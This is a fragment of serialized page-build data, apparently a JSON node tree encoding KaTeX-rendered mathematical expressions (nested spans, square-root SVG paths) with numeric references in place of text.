{"className":170203},[247],[170205,170214],{"type":26,"tag":217,"props":170206,"children":170208},{"className":170207},[247,32],[170209],{"type":26,"tag":217,"props":170210,"children":170212},{"className":170211},[247],[170213],{"type":32,"value":39},{"type":26,"tag":217,"props":170215,"children":170217},{"className":170216},[2160],[170218],{"type":26,"tag":217,"props":170219,"children":170221},{"className":170220},[299,300],[170222,170251],{"type":26,"tag":217,"props":170223,"children":170225},{"className":170224},[305],[170226,170246],{"type":26,"tag":217,"props":170227,"children":170229},{"className":170228,"style":169818},[310],[170230],{"type":26,"tag":217,"props":170231,"children":170232},{"style":169822},[170233,170237],{"type":26,"tag":217,"props":170234,"children":170236},{"className":170235,"style":2182},[320],[],{"type":26,"tag":217,"props":170238,"children":170240},{"className":170239},[2187,2188,2189,2190],[170241],{"type":26,"tag":217,"props":170242,"children":170244},{"className":170243},[247,2152,2190],[170245],{"type":32,"value":14783},{"type":26,"tag":217,"props":170247,"children":170249},{"className":170248},[409],[170250],{"type":32,"value":412},{"type":26,"tag":217,"props":170252,"children":170254},{"className":170253},[305],[170255],{"type":26,"tag":217,"props":170256,"children":170258},{"className":170257,"style":169849},[310],[170259],{"type":26,"tag":217,"props":170260,"children":170261},{},[],{"type":26,"tag":217,"props":170263,"children":170265},{"className":170264,"style":336},[258],[],{"type":26,"tag":217,"props":170267,"children":170269},{"className":170268},[341],[170270],{"type":32,"value":70552},{"type":26,"tag":217,"props":170272,"children":170274},{"className":170273,"style":336},[258],[],{"type":26,"tag":217,"props":170276,"children":170278},{"className":170277},[247,120378],[170279],{"type":26,"tag":217,"props":170280,"children":170282},{"className":170281},[299,300],[170283,170628],{"type":26,"tag":217,"props":170284,"children":170286},{"className":170285},[305],[170287,170623],{"type":26,"tag":217,"props":170288,"children":170291},{"className":170289,"style":170290},[310],"height:0.935em;",[170292,170598],{"type":26,"tag":217,"props":170293,"children":170297},{"className":170294,"style":170296},[170295],"svg-align","top:-3.2em;",[170298,170303],{"type":26,"tag":217,"props":170299,"children":170302},{"className":170300,"style":170301},[320],"height:3.2em;",[],{"type":26,"tag":217,"props":170304,"children":170307},{"className":170305,"style":170306},[247],"padding-left:1em;",[170308,170313,170374,170378,170383,170387,170448,170453,170457,170462,170466,170471,170532,170537],{"type":26,"tag":217,"props":170309,"children":170311},{"className":170310},[288],[170312],{"type":32,"value":1851},{"type":26,"tag":217,"props":170314,"children":170316},{"className":170315},[247],[170317,170326],{"type":26,"tag":217,"props":170318,"children":170320},{"className":170319},[247,32],[170321],{"type":26,"tag":217,"props":170322,"children":170324},{"className":170323},[247],[170325],{"type":32,"value":83845},{"type":26,"tag":217,"props":170327,"children":170329},{"className":170328},[2160],[170330],{"type":26,"tag":217,"props":170331,"children":170333},{"className":170332},[299,300],[170334,170363],{"type":26,"tag":217,"props":170335,"children":170337},{"className":170336},[305],[170338,170358],{"type":26,"tag":217,"props":170339,"children":170341},{"className":170340,"style":2173},[310],[170342],{"type":26,"tag":217,"props":170343,"children":170344},{"style":49045},[170345,170349],{"type":26,"tag":217,"props":170346,"children":170348},{"className":170347,"style":2182},[320],[],{"type":26,"tag":217,"props":170350,"children":170352},{"className":170351},[2187,2188,2189,2190],[170353],{"type":26,"tag":217,"props":170354,"children":170356},{"className":170355},[247,2152,2190],[170357],{"type":32,"value":163},{"type":26,"tag":217,"props":170359,"children":170361},{"className":170360},[409],[170362],{"type":32,"value":412},{"type":26,"tag":217,"props":170364,"children":170366},{"className":170365},[305],[170367],{"type":26,"tag":217,"props":170368,"children":170370},{"className":170369,"style":2210},[310],[170371],{"type":26,"tag":217,"props":170372,"children":170373},{},[],{"type":26,"tag":217,"props":170375,"children":170377},{"className":170376,"style":336},[258],[],{"type":26,"tag":217,"props":170379,"children":170381},{"className":170380},[341],[170382],{"type":32,"value":70552},{"type":26,"tag":217,"props":170384,"children":170386},{"className":170385,"style":336},[258],[],{"type":26,"tag":217,"props":170388,"children":170390},{"className":170389},[247],[170391,170400],{"type":26,"tag":217,"props":170392,"children":170394},{"className":170393},[247,32],[170395],{"type":26,"tag":217,"props":170396,"children":170398},{"className":170397},[247],[170399],{"type":32,"value":83845},{"type":26,"tag":217,"props":170401,"children":170403},{"className":170402},[2160],[170404],{"type":26,"tag":217,"props":170405,"children":170407},{"className":170406},[299,300],[170408,170437],{"type":26,"tag":217,"props":170409,"children":170411},{"className":170410},[305],[170412,170432],{"type":26,"tag":217,"props":170413,"children":170415},{"className":170414,"style":51161},[310],[170416],{"type":26,"tag":217,"props":170417,"children":170418},{"style":49045},[170419,170423],{"type":26,"tag":217,"props":170420,"children":170422},{"className":170421,"style":2182},[320],[],{"type":26,"tag":217,"props":170424,"children":170426},{"className":170425},[2187,2188,2189,2190],[170427],{"type":26,"tag":217,"props":170428,"children":170430},{"className":170429},[247,2152,2190],[170431],{"type":32,"value":14783},{"type":26,"tag":217,"props":170433,"children":170435},{"className":170434},[409],[170436],{"type":32,"value":412},{"type":26,"tag":217,"props":170438,"children":170440},{"className":170439},[305],[170441],{"type":26,"tag":217,"props":170442,"children":170444},{"className":170443,"style":2210},[310],[170445],{"type":26,"tag":217,"props":170446,"children":170447},{},[],{"type":26,"tag":217,"props":170449,"children":170451},{"className":170450},[428],[170452],{"type":32,"value":1889},{"type":26,"tag":217,"props":170454,"children":170456},{"className":170455,"style":336},[258],[],{"type":26,"tag":217,"props":170458,"children":170460},{"className":170459},[341],[170461],{"type":32,"value":70552},{"type":26,"tag":217,"props":170463,"children":170465},{"className":170464,"style":336},[258],[],{"type":26,"tag":217,"props":170467,"children":170469},{"className":170468},[288],[170470],{"type":32,"value":1851},{"type":26,"tag":217,"props":170472,"children":170474},{"className":170473},[247],[170475,170484],{"type":26,"tag":217,"props":170476,"children":170478},{"className":170477},[247,32],[170479],{"type":26,"tag":217,"props":170480,"children":170482},{"className":170481},[247],[170483],{"type":32,"value":39},{"type":26,"tag":217,"props":170485,"children":170487},{"className":170486},[2160],[170488],{"type":26,"tag":217,"props":170489,"children":170491},{"className":170490},[299,300],[170492,170521],{"type":26,"tag":217,"props":170493,"children":170495},{"className":170494},[305],[170496,170516],{"type":26,"tag":217,"props":170497,"children":170499},{"className":170498,"style":169973},[310],[170500],{"type":26,"tag":217,"props":170501,"children":170502},{"style":169822},[170503,170507],{"type":26,"tag":217,"props":170504,"children":170506},{"className":170505,"style":2182},[320],[],{"type":26,"tag":217,"props":170508,"children":170510},{"className":170509},[2187,2188,2189,2190],[170511],{"type":26,"tag":217,"props":170512,"children":170514},{"className":170513},[247,2152,2190],[170515],{"type":32,"value":163},{"type":26,"tag":217,"props":170517,"children":170519},{"className":170518},[409],[170520],{"type":32,"value":412},{"type":26,"tag":217,"props":170522,"children":170524},{"className":170523},[305],[170525],{"type":26,"tag":217,"props":170526,"children":170528},{"className":170527,"style":169849},[310],[170529],{"type":26,"tag":217,"props":170530,"children":170531},{},[],{"type":26,"tag":217,"props":170533,"children":170535},{"className":170534},[247],[170536],{"type":32,"value":5756},{"type":26,"tag":217,"props":170538,"children":170540},{"className":170539},[247],[170541,170550],{"type":26,"tag":217,"props":170542,"children":170544},{"className":170543},[247,32],[170545],{"type":26,"tag":217,"props":170546,"children":170548},{"className":170547},[247],[170549],{"type":32,"value":39},{"type":26,"tag":217,"props":170551,"children":170553},{"className":170552},[2160],[170554],{"type":26,"tag":217,"props":170555,"children":170557},{"className":170556},[299,300],[170558,170587],{"type":26,"tag":217,"props":170559,"children":170561},{"className":170560},[305],[170562,170582],{"type":26,"tag":217,"props":170563,"children":170565},{"className":170564,"style":169818},[310],[170566],{"type":26,"tag":217,"props":170567,"children":170568},{"style":169822},[170569,170573],{"type":26,"tag":217,"props":170570,"children":170572},{"className":170571,"style":2182},[320],[],{"type":26,"tag":217,"props":170574,"children":170576},{"className":170575},[2187,2188,2189,2190],[170577],{"type":26,"tag":217,"props":170578,"children":170580},{"className":170579},[247,2152,2190],[170581],{"type":32,"value":14783},{"type":26,"tag":217,"props":170583,"children":170585},{"className":170584},[409],[170586],{"type":32,"value":412},{"type":26,"tag":217,"props":170588,"children":170590},{"className":170589},[305],[170591],{"type":26,"tag":217,"props":170592,"children":170594},{"className":170593,"style":169849},[310],[170595],{"type":26,"tag":217,"props":170596,"children":170597},{},[],{"type":26,"tag":217,"props":170599,"children":170601},{"style":170600},"top:-2.895em;",[170602,170606],{"type":26,"tag":217,"props":170603,"children":170605},{"className":170604,"style":170301},[320],[],{"type":26,"tag":217,"props":170607,"children":170611},{"className":170608,"style":170610},[170609],"hide-tail","min-width:1.02em;height:1.28em;",[170612],{"type":26,"tag":47190,"props":170613,"children":170618},{"xmlns":47192,"width":170614,"height":170615,"viewBox":170616,"preserveAspectRatio":170617},"400em","1.28em","0 0 400000 1296","xMinYMin slice",[170619],{"type":26,"tag":41011,"props":170620,"children":170622},{"d":170621},"M263,681c0.7,0,18,39.7,52,119\nc34,79.3,68.167,158.7,102.5,238c34.3,79.3,51.8,119.3,52.5,120\nc340,-704.7,510.7,-1060.3,512,-1067\nl0 -0\nc4.7,-7.3,11,-11,19,-11\nH40000v40H1012.3\ns-271.3,567,-271.3,567c-38.7,80.7,-84,175,-136,283c-52,108,-89.167,185.3,-111.5,232\nc-22.3,46.7,-33.8,70.3,-34.5,71c-4.7,4.7,-12.3,7,-23,7s-12,-1,-12,-1\ns-109,-253,-109,-253c-72.7,-168,-109.3,-252,-110,-252c-10.7,8,-22,16.7,-34,26\nc-22,17.3,-33.3,26,-34,26s-26,-26,-26,-26s76,-59,76,-59s76,-60,76,-60z\nM1001 80h400000v40h-400000z",[],{"type":26,"tag":217,"props":170624,"children":170626},{"className":170625},[409],[170627],{"type":32,"value":412},{"type":26,"tag":217,"props":170629,"children":170631},{"className":170630},[305],[170632],{"type":26,"tag":217,"props":170633,"children":170636},{"className":170634,"style":170635},[310],"height:0.305em;",[170637],{"type":26,"tag":217,"props":170638,"children":170639},{},[],{"type":26,"tag":217,"props":170641,"children":170643},{"className":170642},[428],[170644],{"type":32,"value":1889},{"type":26,"tag":217,"props":170646,"children":170648},{"className":170647,"style":336},[258],[],{"type":26,"tag":217,"props":170650,"children":170652},{"className":170651},[341],[170653],{"type":32,"value":3540},{"type":26,"tag":217,"props":170655,"children":170657},{"className":170656,"style":336},[258],[],{"type":26,"tag":217,"props":170659,"children":170661},{"className":170660},[247],[170662,170671],{"type":26,"tag":217,"props":170663,"children":170665},{"className":170664},[247,32],[170666],{"type":26,"tag":217,"props":170667,"children":170669},{"className":170668},[247],[170670],{"type":32,"value":39},{"type":26,"tag":217,"props":170672,"children":170674},{"className":170673},[2160],[170675],{"type":26,"tag":217,"props":170676,"children":170678},{"className":170677},[299,300],[170679,170708],{"type":26,"tag":217,"props":170680,"children":170682},{"className":170681},[305],[170683,170703],{"type":26,"tag":217,"props":170684,"children":170686},{"className":170685,"style":169973},[310],[170687],{"type":26,"tag":217,"props":170688,"children":170689},{"style":169822},[170690,170694],{"type":26,"tag":217,"props":170691,"children":170693},{"className":170692,"style":2182},[320],[],{"type":26,"tag":217,"props":170695,"children":170697},{"className":170696},[2187,2188,2189,2190],[170698],{"type":26,"tag":217,"props":170699,"children":170701},{"className":170700},[247,2152,2190],[170702],{"type":32,"value":163},{"type":26,"tag":217,"props":170704,"children":170706},{"className":170705},[409],[170707],{"type":32,"value":412},{"type":26,"tag":217,"props":170709,"children":170711},{"className":170710},[305],[170712],{"type":26,"tag":217,"props":170713,"children":170715},{"className":170714,"style":169849},[310],[170716],{"type":26,"tag":217,"props":170717,"children":170718},{},[],{"type":26,"tag":217,"props":170720,"children":170722},{"className":170721,"style":336},[258],[],{"type":26,"tag":217,"props":170724,"children":170726},{"className":170725},[341],[170727],{"type":32,"value":70552},{"type":26,"tag":217,"props":170729,"children":170731},{"className":170730,"style":336},[258],[],{"type":26,"tag":217,"props":170733,"children":170735},{"className":170734},[247,120378],[170736],{"type":26,"tag":217,"props":170737,"children":170739},{"className":170738},[299,300],[170740,171077],{"type":26,"tag":217,"props":170741,"children":170743},{"className":170742},[305],[170744,171072],{"type":26,"tag":217,"props":170745,"children":170747},{"className":170746,"style":170290},[310],[170748,171055],{"type":26,"tag":217,"props":170749,"children":170751},{"className":170750,"style":170296},[170295],[170752,170756],{"type":26,"tag":217,"props":170753,"children":170755},{"className":170754,"style":170301},[320],[],{"type":26,"tag":217,"props":170757,"children":170759},{"className":170758,"style":170306},[247],[170760,170765,170826,170830,170835,170839,170900,170905,170909,170914,170918,170923,170984,170989,171050],{"type":26,"tag":217,"props":170761,"children":170763},{"className":170762},[288],[170764],{"type":32,"value":1851},{"type":26,"tag":217,"props":170766,"children":170768},{"className":170767},[247],[170769,170778],{"type":26,"tag":217,"props":170770,"children":170772},{"className":170771},[247,32],[170773],{"type":26,"tag":217,"props":170774,"children":170776},{"className":170775},[247],[170777],{"type":32,"value":83845},{"type":26,"tag":217,"props":170779,"children":170781},{"className":170780},[2160],[170782],{"type":26,"tag":217,"props":170783,"children":170785},{"className":170784},[299,300],[170786,170815],{"type":26,"tag":217,"props":170787,"children":170789},{"className":170788},[305],[170790,170810],{"type":26,"tag":217,"props":170791,"children":170793},{"className":170792,"style":2173},[310],[170794],{"type":26,"tag":217,"props":170795,"children":170796},{"style":49045},[170797,170801],{"type":26,"tag":217,"props":170798,"children":170800},{"className":170799,"style":2182},[320],[],{"type":26,"tag":217,"props":170802,"children":170804},{"className":170803},[2187,2188,2189,2190],[170805],{"type":26,"tag":217,"props":170806,"children":170808},{"className":170807},[247,2152,2190],[170809],{"type":32,"value":163},{"type":26,"tag":217,"props":170811,"children":170813},{"className":170812},[409],[170814],{"type":32,"value":412},{"type":26,"tag":217,"props":170816,"children":170818},{"className":170817},[305],[170819],{"type":26,"tag":217,"props":170820,"children":170822},{"className":170821,"style":2210},[310],[170823],{"type":26,"tag":217,"props":170824,"children":170825},{},[],{"type":26,"tag":217,"props":170827,"children":170829},{"className":170828,"style":336},[258],[],{"type":26,"tag":217,"props":170831,"children":170833},{"className":170832},[341],[170834],{"type":32,"value":70552},{"type":26,"tag":217,"props":170836,"children":170838},{"className":170837,"style":336},[258],[],{"type":26,"tag":217,"props":170840,"children":170842},{"className":170841},[247],[170843,170852],{"type":26,"tag":217,"props":170844,"children":170846},{"className":170845},[247,32],[170847],{"type":26,"tag":217,"props":170848,"children":170850},{"className":170849},[247],[170851],{"type":32,"value":83845},{"type":26,"tag":217,"props":170853,"children":170855},{"className":170854},[2160],[170856],{"type":26,"tag":217,"props":170857,"children":170859},{"className":170858},[299,300],[170860,170889],{"type":26,"tag":217,"props":170861,"children":170863},{"className":170862},[305],[170864,170884],{"type":26,"tag":217,"props":170865,"children":170867},{"className":170866,"style":51161},[310],[170868],{"type":26,"tag":217,"props":170869,"children":170870},{"style":49045},[170871,170875],{"type":26,"tag":217,"props":170872,"children":170874},{"className":170873,"style":2182},[320],[],{"type":26,"tag":217,"props":170876,"children":170878},{"className":170877},[2187,2188,2189,2190],[170879],{"type":26,"tag":217,"props":170880,"children":170882},{"className":170881},[247,2152,2190],[170883],{"type":32,"value":14783},{"type":26,"tag":217,"props":170885,"children":170887},{"className":170886},[409],[170888],{"type":32,"value":412},{"type":26,"tag":217,"props":170890,"children":170892},{"className":170891},[305],[170893],{"type":26,"tag":217,"props":170894,"children":170896},{"className":170895,"style":2210},[310],[170897],{"type":26,"tag":217,"props":170898,"children":170899},{},[],{"type":26,"tag":217,"props":170901,"children":170903},{"className":170902},[428],[170904],{"type":32,"value":1889},{"type":26,"tag":217,"props":170906,"children":170908},{"className":170907,"style":336},[258],[],{"type":26,"tag":217,"props":170910,"children":170912},{"className":170911},[341],[170913],{"type":32,"value":70552},{"type":26,"tag":217,"props":170915,"children":170917},{"className":170916,"style":336},[258],[],{"type":26,"tag":217,"props":170919,"children":170921},{"className":170920},[288],[170922],{"type":32,"value":1851},{"type":26,"tag":217,"props":170924,"children":170926},{"className":170925},[247],[170927,170936],{"type":26,"tag":217,"props":170928,"children":170930},{"className":170929},[247,32],[170931],{"type":26,"tag":217,"props":170932,"children":170934},{"className":170933},[247],[170935],{"type":32,"value":39},{"type":26,"tag":217,"props":170937,"children":170939},{"className":170938},[2160],[170940],{"type":26,"tag":217,"props":170941,"children":170943},{"className":170942},[299,300],[170944,170973],{"type":26,"tag":217,"props":170945,"children":170947},{"className":170946},[305],[170948,170968],{"type":26,"tag":217,"props":170949,"children":170951},{"className":170950,"style":169818},[310],[170952],{"type":26,"tag":217,"props":170953,"children":170954},{"style":169822},[170955,170959],{"type":26,"tag":217,"props":170956,"children":170958},{"className":170957,"style":2182},[320],[],{"type":26,"tag":217,"props":170960,"children":170962},{"className":170961},[2187,2188,2189,2190],[170963],{"type":26,"tag":217,"props":170964,"children":170966},{"className":170965},[247,2152,2190],[170967],{"type":32,"value":14783},{"type":26,"tag":217,"props":170969,"children":170971},{"className":170970},[409],[170972],{"type":32,"value":412},{"type":26,"tag":217,"props":170974,"children":170976},{"className":170975},[305],[170977],{"type":26,"tag":217,"props":170978,"children":170980},{"className":170979,"style":169849},[310],[170981],{"type":26,"tag":217,"props":170982,"children":170983},{},[],{"type":26,"tag":217,"props":170985,"children":170987},{"className":170986},[247],[170988],{"type":32,"value":5756},{"type":26,"tag":217,"props":170990,"children":170992},{"className":170991},[247],[170993,171002],{"type":26,"tag":217,"props":170994,"children":170996},{"className":170995},[247,32],[170997],{"type":26,"tag":217,"props":170998,"children":171000},{"className":170999},[247],[171001],{"type":32,"value":39},{"type":26,"tag":217,"props":171003,"children":171005},{"className":171004},[2160],[171006],{"type":26,"tag":217,"props":171007,"children":171009},{"className":171008},[299,300],[171010,171039],{"type":26,"tag":217,"props":171011,"children":171013},{"className":171012},[305],[171014,171034],{"type":26,"tag":217,"props":171015,"children":171017},{"className":171016,"style":169973},[310],[171018],{"type":26,"tag":217,"props":171019,"children":171020},{"style":169822},[171021,171025],{"type":26,"tag":217,"props":171022,"children":171024},{"className":171023,"style":2182},[320],[],{"type":26,"tag":217,"props":171026,"children":171028},{"className":171027},[2187,2188,2189,2190],[171029],{"type":26,"tag":217,"props":171030,"children":171032},{"className":171031},[247,2152,2190],[171033],{"type":32,"value":163},{"type":26,"tag":217,"props":171035,"children":171037},{"className":171036},[409],[171038],{"type":32,"value":412},{"type":26,"tag":217,"props":171040,"children":171042},{"className":171041},[305],[171043],{"type":26,"tag":217,"props":171044,"children":171046},{"className":171045,"style":169849},[310],[171047],{"type":26,"tag":217,"props":171048,"children":171049},{},[],{"type":26,"tag":217,"props":171051,"children":171053},{"className":171052},[428],[171054],{"type":32,"value":1889},{"type":26,"tag":217,"props":171056,"children":171057},{"style":170600},[171058,171062],{"type":26,"tag":217,"props":171059,"children":171061},{"className":171060,"style":170301},[320],[],{"type":26,"tag":217,"props":171063,"children":171065},{"className":171064,"style":170610},[170609],[171066],{"type":26,"tag":47190,"props":171067,"children":171068},{"xmlns":47192,"width":170614,"height":170615,"viewBox":170616,"preserveAspectRatio":170617},[171069],{"type":26,"tag":41011,"props":171070,"children":171071},{"d":170621},[],{"type":26,"tag":217,"props":171073,"children":171075},{"className":171074},[409],[171076],{"type":32,"value":412},{"type":26,"tag":217,"props":171078,"children":171080},{"className":171079},[305],[171081],{"type":26,"tag":217,"props":171082,"children":171084},{"className":171083,"style":170635},[310],[171085],{"type":26,"tag":217,"props":171086,"children":171087},{},[],{"type":26,"tag":217,"props":171089,"children":171091},{"className":171090},[409],[171092],{"type":32,"value":412},{"type":26,"tag":217,"props":171094,"children":171096},{"className":171095},[305],[171097],{"type":26,"tag":217,"props":171098,"children":171100},{"className":171099,"style":420},[310],[171101],{"type":26,"tag":217,"props":171102,"children":171103},{},[],{"type":26,"tag":217,"props":171105,"children":171107},{"className":171106},[428,289],[],{"type":26,"tag":217,"props":171109,"children":171111},{"className":171110},[258,168173],[],{"type":26,"tag":217,"props":171113,"children":171115},{"className":171114},[236],[171116,171120,171125],{"type":26,"tag":217,"props":171117,"children":171119},{"className":171118,"style":170113},[241],[],{"type":26,"tag":217,"props":171121,"children":171123},{"className":171122},[264],[171124],{"type":32,"value":267},{"type":26,"tag":217,"props":171126,"children":171128},{"className":171127,"style":259},[258],[],{"type":26,"tag":217,"props":171130,"children":171132},{"className":171131},[236],[171133,171138],{"type":26,"tag":217,"props":171134,"children":171137},{"className":171135,"style":171136},[241],"height:2.3279em;vertical-align:-0.8804em;",[],{"type":26,"tag":217,"props":171139,"children":171141},{"className":171140},[247],[171142,171146,171591],{"type":26,"tag":217,"props":171143,"children":171145},{"className":171144},[288,289],[],{"type":26,"tag":217,"props":171147,"children":171149},{"className":171148},[294],[171150],{"type":26,"tag":217,"props":171151,"children":171153},{"className":171152},[299,300],[171154,171580],{"type":26,"tag":217,"props":171155,"children":171157},{"className":171156},[305],[171158,171575],{"type":26,"tag":217,"props":171159,"children":171162},{"className":171160,"style":171161},[310],"height:1.4475em;",[171163,171183,171194],{"type":26,"tag":217,"props":171164,"children":171165},{"style":315},[171166,171170],{"type":26,"tag":217,"props":171167,"children":171169},{"className":171168,"style":321},[320],[],{"type":26,"tag":217,"props":171171,"children":171173},{"className":171172},[247],[171174],{"type":26,"tag":217,"props":171175,"children":171177},{"className":171176},[247,32],[171178],{"type":26,"tag":217,"props":171179,"children":171181},{"className":171180},[247],[171182],{"type":32,"value":169766},{"type":26,"tag":217,"props":171184,"children":171185},{"style":361},[171186,171190],{"type":26,"tag":217,"props":171187,"children":171189},{"className":171188,"style":321},[320],[],{"type":26,"tag":217,"props":171191,"children":171193},{"className":171192,"style":371},[370],[],{"type":26,"tag":217,"props":171195,"children":171196},{"style":375},[171197,171201],{"type":26,"tag":217,"props":171198,"children":171200},{"className":171199,"style":321},[320],[],{"type":26,"tag":217,"props":171202,"children":171204},{"className":171203},[247],[171205,171210,171214,171219,171223],{"type":26,"tag":217,"props":171206,"children":171208},{"className":171207},[247],[171209],{"type":32,"value":332},{"type":26,"tag":217,"props":171211,"children":171213},{"className":171212,"style":336},[258],[],{"type":26,"tag":217,"props":171215,"children":171217},{"className":171216},[341],[171218],{"type":32,"value":70552},{"type":26,"tag":217,"props":171220,"children":171222},{"className":171221,"style":336},[258],[],{"type":26,"tag":217,"props":171224,"children":171226},{"className":171225},[247,120378],[171227],{"type":26,"tag":217,"props":171228,"children":171230},{"className":171229},[299,300],[171231,171563],{"type":26,"tag":217,"props":171232,"children":171234},{"className":171233},[305],[171235,171558],{"type":26,"tag":217,"props":171236,"children":171239},{"className":171237,"style":171238},[310],"height:0.7705em;",[171240,171536],{"type":26,"tag":217,"props":171241,"children":171243},{"className":171242,"style":47089},[170295],[171244,171248],{"type":26,"tag":217,"props":171245,"children":171247},{"className":171246,"style":321},[320],[],{"type":26,"tag":217,"props":171249,"children":171252},{"className":171250,"style":171251},[247],"padding-left:0.833em;",[171253,171314,171318,171323,171327,171388,171392,171397,171401,171462,171466,171471,171475],{"type":26,"tag":217,"props":171254,"children":171256},{"className":171255},[247],[171257,171266],{"type":26,"tag":217,"props":171258,"children":171260},{"className":171259},[247,32],[171261],{"type":26,"tag":217,"props":171262,"children":171264},{"className":171263},[247],[171265],{"type":32,"value":83845},{"type":26,"tag":217,"props":171267,"children":171269},{"className":171268},[2160],[171270],{"type":26,"tag":217,"props":171271,"children":171273},{"className":171272},[299,300],[171274,171303],{"type":26,"tag":217,"props":171275,"children":171277},{"className":171276},[305],[171278,171298],{"type":26,"tag":217,"props":171279,"children":171281},{"className":171280,"style":2173},[310],[171282],{"type":26,"tag":217,"props":171283,"children":171284},{"style":49045},[171285,171289],{"type":26,"tag":217,"props":171286,"children":171288},{"className":171287,"style":2182},[320],[],{"type":26,"tag":217,"props":171290,"children":171292},{"className":171291},[2187,2188,2189,2190],[171293],{"type":26,"tag":217,"props":171294,"children":171296},{"className":171295},[247,2152,2190],[171297],{"type":32,"value":163},{"type":26,"tag":217,"props":171299,"children":171301},{"className":171300},[409],[171302],{"type":32,"value":412},{"type":26,"tag":217,"props":171304,"children":171306},{"className":171305},[305],[171307],{"type":26,"tag":217,"props":171308,"children":171310},{"className":171309,"style":2210},[310],[171311],{"type":26,"tag":217,"props":171312,"children":171313},{},[],{"type":26,"tag":217,"props":171315,"children":171317},{"className":171316,"style":336},[258],[],{"type":26,"tag":217,"props":171319,"children":171321},{"className":171320},[341],[171322],{"type":32,"value":70552},{"type":26,"tag":217,"props":171324,"children":171326},{"className":171325,"style":336},[258],[],{"type":26,"tag":217,"props":171328,"children":171330},{"className":171329},[247],[171331,171340],{"type":26,"tag":217,"props":171332,"children":171334},{"className":171333},[247,32],[171335],{"type":26,"tag":217,"props":171336,"children":171338},{"className":171337},[247],[171339],{"type":32,"value":83845},{"type":26,"tag":217,"props":171341,"children":171343},{"className":171342},[2160],[171344],{"type":26,"tag":217,"props":171345,"children":171347},{"className":171346},[299,300],[171348,171377],{"type":26,"tag":217,"props":171349,"children":171351},{"className":171350},[305],[171352,171372],{"type":26,"tag":217,"props":171353,"children":171355},{"className":171354,"style":51161},[310],[171356],{"type":26,"tag":217,"props":171357,"children":171358},{"style":49045},[171359,171363],{"type":26,"tag":217,"props":171360,"children":171362},{"className":171361,"style":2182},[320],[],{"type":26,"tag":217,"props":171364,"children":171366},{"className":171365},[2187,2188,2189,2190],[171367],{"type":26,"tag":217,"props":171368,"children":171370},{"className":171369},[247,2152,2190],[171371],{"type":32,"value":14783},{"type":26,"tag":217,"props":171373,"children":171375},{"className":171374},[409],[171376],{"type":32,"value":412},{"type":26,"tag":217,"props":171378,"children":171380},{"className":171379},[305],[171381],{"type":26,"tag":217,"props":171382,"children":171384},{"className":171383,"style":2210},[310],[171385],{"type":26,"tag":217,"props":171386,"children":171387},{},[],{"type":26,"tag":217,"props":171389,"children":171391},{"className":171390,"style":336},[258],[],{"type":26,"tag":217,"props":171393,"children":171395},{"className":171394},[341],[171396],{"type":32,"value":70552},{"type":26,"tag":217,"props":171398,"children":171400},{"className":171399,"style":336},[258],[],{"type":26,"tag":217,"props":171402,"children":171404},{"className":171403},[247],[171405,171414],{"type":26,"tag":217,"props":171406,"children":171408},{"className":171407},[247,32],[171409],{"type":26,"tag":217,"props":171410,"children":171412},{"className":171411},[247],[171413],{"type":32,"value":39},{"type":26,"tag":217,"props":171415,"children":171417},{"className":171416},[2160],[171418],{"type":26,"tag":217,"props":171419,"children":171421},{"className":171420},[299,300],[171422,171451],{"type":26,"tag":217,"props":171423,"children":171425},{"className":171424},[305],[171426,171446],{"type":26,"tag":217,"props":171427,"children":171429},{"className":171428,"style":169973},[310],[171430],{"type":26,"tag":217,"props":171431,"children":171432},{"style":169822},[171433,171437],{"type":26,"tag":217,"props":171434,"children":171436},{"className":171435,"style":2182},[320],[],{"type":26,"tag":217,"props":171438,"children":171440},{"className":171439},[2187,2188,2189,2190],[171441],{"type":26,"tag":217,"props":171442,"children":171444},{"className":171443},[247,2152,2190],[171445],{"type":32,"value":163},{"type":26,"tag":217,"props":171447,"children":171449},{"className":171448},[409],[171450],{"type":32,"value":412},{"type":26,"tag":217,"props":171452,"children":171454},{"className":171453},[305],[171455],{"type":26,"tag":217,"props":171456,"children":171458},{"className":171457,"style":169849},[310],[171459],{"type":26,"tag":217,"props":171460,"children":171461},{},[],{"type":26,"tag":217,"props":171463,"children":171465},{"className":171464,"style":336},[258],[],{"type":26,"tag":217,"props":171467,"children":171469},{"className":171468},[341],[171470],{"type":32,"value":70552},{"type":26,"tag":217,"props":171472,"children":171474},{"className":171473,"style":336},[258],[],{"type":26,"tag":217,"props":171476,"children":171478},{"className":171477},[247],[171479,171488],{"type":26,"tag":217,"props":171480,"children":171482},{"className":171481},[247,32],[171483],{"type":26,"tag":217,"props":171484,"children":171486},{"className":171485},[247],[171487],{"type":32,"value":39},{"type":26,"tag":217,"props":171489,"children":171491},{"className":171490},[2160],[171492],{"type":26,"tag":217,"props":171493,"children":171495},{"className":171494},[299,300],[171496,171525],{"type":26,"tag":217,"props":171497,"children":171499},{"className":171498},[305],[171500,171520],{"type":26,"tag":217,"props":171501,"children":171503},{"className":171502,"style":169818},[310],[171504],{"type":26,"tag":217,"props":171505,"children":171506},{"style":169822},[171507,171511],{"type":26,"tag":217,"props":171508,"children":171510},{"className":171509,"style":2182},[320],[],{"type":26,"tag":217,"props":171512,"children":171514},{"className":171513},[2187,2188,2189,2190],[171515],{"type":26,"tag":217,"props":171516,"children":171518},{"className":171517},[247,2152,2190],[171519],{"type":32,"value":14783},{"type":26,"tag":217,"props":171521,"children":171523},{"className":171522},[409],[171524],{"type":32,"value":412},{"type":26,"tag":217,"props":171526,"children":171528},{"className":171527},[305],[171529],{"type":26,"tag":217,"props":171530,"children":171532},{"className":171531,"style":169849},[310],[171533],{"type":26,"tag":217,"props":171534,"children":171535},{},[],{"type":26,"tag":217,"props":171537,"children":171539},{"style":171538},"top:-2.7305em;",[171540,171544],{"type":26,"tag":217,"props":171541,"children":171543},{"className":171542,"style":321},[320],[],{"type":26,"tag":217,"props":171545,"children":171548},{"className":171546,"style":171547},[170609],"min-width:0.853em;height:1.08em;",[171549],{"type":26,"tag":47190,"props":171550,"children":171553},{"xmlns":47192,"width":170614,"height":171551,"viewBox":171552,"preserveAspectRatio":170617},"1.08em","0 0 400000 